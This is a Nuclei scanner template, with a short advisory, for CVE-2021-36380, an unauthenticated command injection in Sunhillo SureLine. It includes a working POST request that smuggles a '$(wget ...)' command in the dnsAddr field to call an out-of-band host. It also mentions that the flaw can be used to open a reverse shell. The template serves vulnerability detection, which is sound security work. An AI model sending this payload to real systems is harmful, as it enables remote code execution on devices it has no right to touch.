Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
PoC代码[已公开]
id: CVE-2021-36380
info:
name: Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection
author: gy741
severity: critical
description: Sunhillo SureLine <8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request injects a new command that instructs the server to establish a reverse TCP connection to another system, allowing the establishment of an interactive remote shell session.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
remediation: |
Upgrade to Sunhillo SureLine version 8.7.0.1.1 or later to mitigate this vulnerability.
reference:
- https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/
- https://nvd.nist.gov/vuln/detail/CVE-2021-36380
- https://www.sunhillo.com/product/sureline/
- https://github.com/Ostorlab/KEV
- https://github.com/fkie-cad/nvd-json-data-feeds
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-36380
cwe-id: CWE-78
epss-score: 0.94272
epss-percentile: 0.99931
cpe: cpe:2.3:a:sunhillo:sureline:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: sunhillo
product: sureline
tags: cve2021,cve,sureline,rce,oast,sunhillo,kev
http:
- raw:
- |
POST /cgi/networkDiag.cgi HTTP/1.1
Host: {{Hostname}}
command=2&ipAddr=&dnsAddr=$(wget+http://{{interactsh-url}})&interface=0&netType=0&scrFilter=&dstFilter=&fileSave=false&pcapSave=false&fileSize=
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
# digest: 4a0a004730450220173283cd99306882cd31264cc42a343562d7c97a5e1bc225288bed6a746b4172022100eb1873405d559dffa61b658230f5a2a9cc9e5b1066663665b0fdb4658a172bf5:922c64590222798bb761d5b6d8e72950